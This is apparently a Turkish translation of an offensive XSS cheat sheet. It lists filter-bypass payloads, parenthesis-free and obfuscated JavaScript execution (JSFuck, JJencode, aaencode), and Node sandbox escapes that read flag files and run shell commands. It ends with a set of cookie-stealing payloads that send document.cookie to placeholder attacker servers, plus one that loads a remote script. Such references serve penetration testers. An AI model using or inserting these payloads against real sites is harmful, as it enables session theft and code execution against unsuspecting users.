JavaScript yeni satırlar (JavaScript yeni satır hilesinden)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScript boşluk karakterleri

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Yorum içinde Javascript

Yorum içine JavaScript kodu ekleyerek XSS saldırısı gerçekleştirebilirsiniz. Bu, kullanıcıların sayfayı görüntülerken tarayıcıda çalıştırılacak kötü niyetli kodları enjekte etmenizi sağlar. Bu yöntem, kullanıcıların güvenliğini tehlikeye atabilir ve hassas bilgilerin çalınmasına yol açabilir. Bu nedenle, geliştiricilerin kullanıcı girdilerini güvenli bir şekilde işlemesi önemlidir.

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

Parantez olmadan JavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Keyfi fonksiyon (alert) çağrısı

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM zafiyetleri

Saldırgan tarafından kontrol edilen güvensiz verileri kullanan JS kodu bulunmaktadır, örneğin location.href. Bir saldırgan, bunu kötü amaçlı JS kodu yürütmek için kullanabilir.
DOM zafiyetlerinin açıklamasının genişletilmesi nedeniyle bu sayfaya taşındı:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Orada, DOM zafiyetlerinin ne olduğu, nasıl tetiklendikleri ve nasıl sömürüldükleri hakkında detaylı bir açıklama bulacaksınız.
Ayrıca, bahsedilen yazının sonunda DOM Clobbering saldırıları hakkında bir açıklama bulabilirsiniz.

Diğer Atlatmalar

Normalized Unicode

Sunucuda (veya istemci tarafında) yansıtılan değerlerin unicode normalize edilip edilmediğini kontrol edebilir ve bu işlevselliği korumaları atlatmak için kullanabilirsiniz. Burada bir örnek bulabilirsiniz.

PHP FILTER_VALIDATE_EMAIL bayrağı Atlatması

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR kitlesel atama nedeniyle alıntılar HTML'e eklenir ve ardından alıntı kısıtlaması atlatılır ve etiketin içine ek alanlar (onfocus) eklenir.
Form örneği (bu rapordan), eğer payload'ı gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Çift "Anahtar","Değer" şu şekilde geri dönecektir:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Özel Kombinasyonlar

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Eğer bir 302 Yönlendirme yanıtında başlıklara enjekte edebileceğinizi tespit ederseniz, tarayıcının keyfi JavaScript'leri çalıştırmasını sağlamayı deneyebilirsiniz. Bu, modern tarayıcıların HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamadığı için kolay değildir, bu yüzden sadece bir çapraz site komut dosyası yararsızdır.

Bu raporda ve bu raporda tarayıcının konum başlığında çeşitli protokolleri test edebilir ve gövde içindeki XSS yükünü incelemesine ve çalıştırmasına izin veren herhangi birinin olup olmadığını görebilirsiniz.
Bilinen protokoller: mailto://, //x:1/, ws://, wss://, boş Konum başlığı, resource://.

Sadece Harfler, Sayılar ve Noktalar

Eğer gerçekleştireceği javascript geri çağrısını yalnızca bu karakterlerle sınırlamayı başarabilirseniz, bu davranışı kötüye kullanmanın nasıl olduğunu öğrenmek için bu yazının bu bölümünü okuyun.

XSS için Geçerli <script> İçerik Türleri

(Buradan) Eğer application/octet-stream gibi bir içerik türü ile bir betik yüklemeye çalışırsanız, Chrome aşağıdaki hatayı verecektir:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Chrome'un yüklenen bir betiği çalıştırmasını destekleyecek tek İçerik Türleri, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc adresindeki kSupportedJavascriptTypes sabiti içinde bulunanlardır.

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSS için Betik Türleri

(buradan) Peki, hangi türler bir betik yüklemek için belirtilebilir?

<script type="???"></script>

Cevap:

  • modül (varsayılan, açıklanacak bir şey yok)
  • webbundle: Web Paketleri, bir dizi veriyi (HTML, CSS, JS...) bir .wbn dosyasına paketleyebileceğiniz bir özelliktir.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: İthalat sözdizimini geliştirmeye olanak tanır
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Bu davranış, bir kütüphaneyi yeniden eşlemek için kullanıldı ve XSS tetikleyebilmek için eval'i kötüye kullanmak için bu yazıda kullanıldı.

  • speculationrules: Bu özellik genellikle ön render işleminden kaynaklanan bazı sorunları çözmek için kullanılır. Şu şekilde çalışır:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>

XSS için Web İçerik Türleri

(buradan) Tüm tarayıcılarda XSS yürütebilen aşağıdaki içerik türleri:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? listede olmasa da bir CTF'de gördüğümü hatırlıyorum)
  • application/rss+xml (kapalı)
  • application/atom+xml (kapalı)

Diğer tarayıcılarda diğer Content-Types kullanılarak keyfi JS yürütülebilir, kontrol edin: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml İçerik Türü

Sayfa text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi JS yürütmek mümkündür:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Kalıpları

Bir şeyin "some {{template}} data".replace("{{template}}", <user_input>) şeklinde kullanıldığı durumlarda, saldırgan özel dize değiştirme kullanarak bazı korumaları atlamaya çalışabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin bu yazıda, bu, bir betik içindeki bir JSON dizesini kaçırmak ve keyfi kod çalıştırmak için kullanıldı.

XSS İçin Chrome Önbelleği

{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}

XS Jails Kaçışı

Yalnızca sınırlı bir karakter kümesini kullanabiliyorsanız, XSJail sorunları için bu diğer geçerli çözümlere göz atın:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer güvenilmeyen kodları çalıştırmadan önce her şey tanımsız ise (örneğin bu yazıda olduğu gibi) keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için "hiçbir şeyden" yararlı nesneler oluşturmak mümkündür:

  • import() kullanarak
// although import "fs" doesnt work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
  • Dolaylı olarak require'a erişim

Şuna göre modüller Node.js tarafından bir fonksiyon içine sarılır:

(function (exports, require, module, __filename, __dirname) {
// our actual module code
});

Bu nedenle, eğer o modülden başka bir fonksiyon çağırabilirsek, bu fonksiyondan arguments.callee.caller.arguments[1] kullanarak require'a erişmek mümkündür:

{% code overflow="wrap" %}

(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()

{% endcode %}

Benzer şekilde önceki örnekte olduğu gibi, hata işleyicilerini kullanarak modülün kapsayıcısına erişmek ve require fonksiyonunu almak mümkündür:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()

Obfuskasyon ve Gelişmiş Atlatma

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın yükleri

1'de Birkaç yük

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Çerezleri Alma

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

